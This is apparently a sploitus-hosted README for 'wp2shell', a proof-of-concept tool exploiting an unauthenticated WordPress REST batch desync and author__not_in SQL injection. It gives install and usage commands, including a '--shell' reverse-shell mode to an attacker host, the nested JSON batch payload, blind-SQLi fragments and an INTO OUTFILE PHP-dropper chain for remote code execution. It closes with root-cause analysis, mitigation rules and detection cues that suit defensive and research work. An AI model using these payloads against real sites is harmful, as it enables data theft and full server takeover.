## https://sploitus.com/exploit?id=7CD079AD-E27B-5C54-A696-60635BFDB241
# wp2shell (CVE-2026-63030 / CVE-2026-60137)
PoC for an unauthenticated WordPress bug chain: REST batch route confusion plus `WP_Query::author__not_in` SQL injection. You can read the database blind, and if MySQL has `FILE`, write a PHP dropper with `INTO OUTFILE` for pre-auth RCE.
| | |
|---|---|
| Name | wp2shell |
| CVEs | CVE-2026-63030 (batch desync), CVE-2026-60137 (`author__not_in` SQLi) |
| Affected | WordPress 6.9.0 to 6.9.4, 7.0.0 to 7.0.1 |
| Fixed in | 6.9.5, 7.0.2 |
| Auth needed | None |
| Found by | Adam Kues (Searchlight Cyber / Assetnote) |
Only use this on systems you own or have permission to test.
## Install
Needs Python 3.10+. Easiest is [pipx](https://pipx.pypa.io/):
```bash
# Debian / Ubuntu
sudo apt install pipx
pipx ensurepath
# from this repo
cd /path/to/CVE-2026-63030
pipx install .
```
Then `wp2shell` is on your PATH. Reinstall after edits with `pipx install --force .`. Remove with `pipx uninstall wp2shell`.
Or skip install and run the file directly:
```bash
python3 wp2shell.py target.example
```
## Usage
Bare host = auto scheme (tries `https://` then `http://`). Prefix with `http://` or `https://` only when you want to force one.
```bash
# auto-detect scheme
wp2shell target.example
wp2shell 127.0.0.1:8080
# force a scheme
wp2shell https://target.example/
wp2shell http://127.0.0.1:8080/
# timing confirm
wp2shell target.example --confirm-sqli
# SQLi -> OUTFILE -> reverse shell
wp2shell target.example --shell
wp2shell target.example --shell 192.168.1.10 4443
```
### Example
| Flag | What it does |
|---|---|
| `--shell [LHOST [LPORT]]` | full RCE chain; default LHOST is this box's IP, LPORT is 443 |
| `--rest-route` | try `/?rest_route=/batch/v1` first |
| `--verify-tls` | verify HTTPS certs (off by default for lab/self-signed) |
| `--proxy URL` | send traffic through a proxy |
| `--force` | skip WordPress fingerprinting |
`LHOST` has to be reachable from the WordPress host. For Docker that usually means your VM/LAN IP, not `127.0.0.1` inside the container. Binding LPORT 443 may need root if the port is free.
## How it works
WordPress exposes an unauthenticated batch REST endpoint (`/wp-json/batch/v1` or `/?rest_route=/batch/v1`). The handler validates each sub-request, then runs it. On affected versions those two steps use separate arrays that can get out of sync, so a request is checked as one route and executed as another.
```
Attacker
| POST /batch/v1 (no auth)
v
+---------------------------------------------+
| Outer desync |
| primer fails wp_parse_url() |
| -> POST /wp/v2/posts runs as batch handler |
+---------------------------------------------+
| nested batch in posts body
v
+---------------------------------------------+
| Inner desync |
| /wp/v2/users|categories?author_exclude=... |
| -> dispatched as posts get_items() |
+---------------------------------------------+
|
v
WP_Query::author__not_in -> raw SQL -> read / OUTFILE / reverse shell
```
### 1. Detect the desync
Send a small batch with a bad primer plus a few routes that return known error codes when things shift (`parse_path_failed`, `block_cannot_read`, `rest_batch_not_allowed`). HTTP 207 with those markers means you're in. The tool tries `/wp-json/batch/v1` first, then `/?rest_route=/batch/v1`.
### 2. Double-nested batch
Rough shape of the payload:
```json
{
"requests": [
{ "path": "http://" },
{
"method": "POST",
"path": "/wp/v2/posts",
"body": {
"requests": [
{ "path": "http://" },
{
"method": "GET",
"path": "/wp/v2/users?author_exclude="
},
{ "method": "GET", "path": "/wp/v2/posts" }
]
}
},
{ "method": "POST", "path": "/batch/v1", "body": { "requests": [] } }
]
}
```
- Outer primer: posts body runs as a nested batch.
- Inner primer: `users?author_exclude=` runs as posts `get_items()`.
- Trailing `/batch/v1` is there so the outer posts request can steal the batch handler.
### 3. Blind SQLi
Close the `NOT IN (` list and tack on your payload:
| Goal | `author_exclude` fragment |
|---|---|
| True/false oracle | `0) AND ()-- -` |
| Time-based confirm | `0) OR SLEEP(3)-- -` |
| Data extract | binary-search `ASCII(SUBSTRING((SELECT ...),n,1))` |
Whether posts come back (or `X-WP-Total` / a non-empty list in the nested response) is the boolean oracle. `SLEEP()` is what `--confirm-sqli` uses. That's enough to pull hashes, options, whatever the DB user can `SELECT`.
### 4. RCE via OUTFILE
No password cracking or plugin upload. Same SQLi, different payload:
```sql
... UNION SELECT , NULL, NULL, ... LIMIT 1
INTO OUTFILE '/var/www/html/wp-content/uploads/.php'
```
`WP_Query` appends `LIMIT 0,10` on its own line after `$where`, so a naive `INTO OUTFILE` blows up. The PoC switches the carrier to `/wp/v2/categories?...&per_page=-1` with `orderby: false` so that trailing `LIMIT` goes away, pads `wp_posts.*` with `NULL`s, and ends the PHP with `//` so OUTFILE padding is commented out.
```
SQLi (per_page=-1 carrier)
|
v
INTO OUTFILE -> /wp-content/uploads/{image|cropped|thumb|...}-XXXX.php
|
v
GET dropper -> reverse shell
|
v
session end -> dropper removed
```
You need `FILE`, a path `mysqld` can write and the web server can read (shared volume if DB and app are split), and the directory already present. No `FILE`? You still have unauth SQLi, just no shell.
## Root cause in WordPress core
Snippets are from WordPress 7.0.0.
### Batch array desync (`serve_batch_request_v1`)
File: `wp-includes/rest-api/class-wp-rest-server.php`
If a path fails `wp_parse_url()`, the code stores a `WP_Error` in `$requests` / `$validation` but does **not** push into `$matches`:
```php
foreach ( $batch_request['requests'] as $args ) {
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
$requests[] = new WP_Error(
'parse_path_failed',
__( 'Could not parse the path.' ),
array( 'status' => 400 )
);
continue; // no $matches entry
}
// ... build WP_REST_Request, append to $requests
}
$matches = array();
$validation = array();
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
$validation[] = $single_request;
continue; // validation grows, matches does not
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
// ... allow_batch / has_valid_params / sanitize_params -> $validation[]
}
```
Dispatch later uses the same `$i` for both arrays:
```php
foreach ( $requests as $i => $single_request ) {
if ( is_wp_error( $single_request ) ) {
// emit error envelope, continue
continue;
}
$match = $matches[ $i ]; // $i is a $requests index, not a $matches index
// ...
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
```
One primer (`"path": "http://"` -> `parse_path_failed`) is enough:
| `$requests` index | Sub-request | Validated as | `$matches` slot at dispatch |
|---:|---|---|---|
| 0 | primer (error) | error (skipped) | n/a |
| 1 | `POST /wp/v2/posts` | posts | `$matches[1]` -> batch handler |
| 2 | `POST /batch/v1` | batch | `$matches[2]` -> wrong / OOB |
So the posts call actually runs `serve_batch_request_v1()` again. Nested batch, no schema check, GET allowed, etc.
### SQLi sink (`author__not_in`)
File: `wp-includes/class-wp-query.php`
`absint` only runs when the value is already an array. Pass a string and it goes straight into SQL:
```php
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique(
array_map( 'absint', $query_vars['author__not_in'] )
);
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
```
You end up with:
```sql
AND wp_posts.post_author NOT IN ()
```
### Why a normal REST call doesn't hit this
File: `wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php`
Posts maps the public arg into the sink:
```php
$parameter_mappings = array(
'author' => 'author__in',
'author_exclude' => 'author__not_in',
// ...
);
```
`author_exclude` is typed as an array of integers, so a direct
`GET /wp/v2/posts?author_exclude=0)+OR+SLEEP(3)--+-` dies in validation.
Users and categories don't define `author_exclude` at all. After the desync, a request that was validated as users/categories still runs posts `get_items()`, which happily reads `author_exclude` and hands the raw string to `WP_Query`.
## Lab notes
If WordPress and MariaDB are separate containers, SQLi still works but OUTFILE won't land on a web path unless you share something like uploads into both and `GRANT FILE` to the WP DB user.
Path the PoC tries first:
`/var/www/html/wp-content/uploads/`
### HTTPS lab
Apache `mod_ssl` inside the WordPress container, host port 443:
```bash
sudo ./lab-ssl/start-ssl.sh
wp2shell https://127.0.0.1/
```
Browser will complain about the self-signed cert; that's expected. PoC leaves TLS verify off unless you pass `--verify-tls`. HTTP is still on `:8080`.
## Fixes / quick mitigations
**Real fix:** upgrade to WordPress **6.9.5**, **7.0.2**, or newer. That closes both the batch desync and the `author__not_in` SQLi.
Until you can patch:
1. **Block the batch API for anonymous users** at the edge / WAF / reverse proxy. Cover **both** paths:
- `/wp-json/batch/v1`
- `/?rest_route=/batch/v1` (and any equivalent query form)
Blocking only `/wp-json/...` leaves the `rest_route` variant open.
2. **Nginx example** (adjust to your vhost):
```nginx
location = /wp-json/batch/v1 {
if ($request_method = OPTIONS) { return 204; }
return 403;
}
if ($arg_rest_route ~* "^/batch/v1") {
return 403;
}
```
3. **Apache example:**
```apache
Require all denied
RewriteEngine On
RewriteCond %{QUERY_STRING} (^|&)rest_route=/batch/v1 [NC]
RewriteRule ^ - [F,L]
```
4. **Kill the RCE follow-on even if SQLi still exists:**
- WordPress DB user must **not** have global `FILE`
- Set MySQL/MariaDB `secure_file_priv` to a non-web directory (or keep it restrictive)
- Don't share a web-writable path into the DB container
5. **Optional hardening:** disable the REST API for unauthenticated users via a small must-use plugin or security plugin that can deny `batch/v1` specifically. Prefer upgrading over long-term REST lockdown.
6. **Detect abuse:** alert on unauthenticated `POST`s to batch endpoints, especially bodies that include `author_exclude`, nested `requests`, or paths like `http://` primers.
## Links
- [GHSA-ff9f-jf42-662q](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q) - REST batch route confusion
- [GHSA-fpp7-x2x2-2mjf](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf) - `WP_Query` SQL injection
- [WordPress 7.0.2 release](https://wordpress.org/news/2026/07/wordpress-7-0-2-release/)
- [Searchlight Cyber advisory](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core)
- [Patchstack analysis](https://patchstack.com/articles/unauthenticated-sql-injection-in-wordpress-core-fixed-in-7-0-2/)
## Disclaimer
For education and authorized testing only. Don't point this at stuff you don't have permission to test.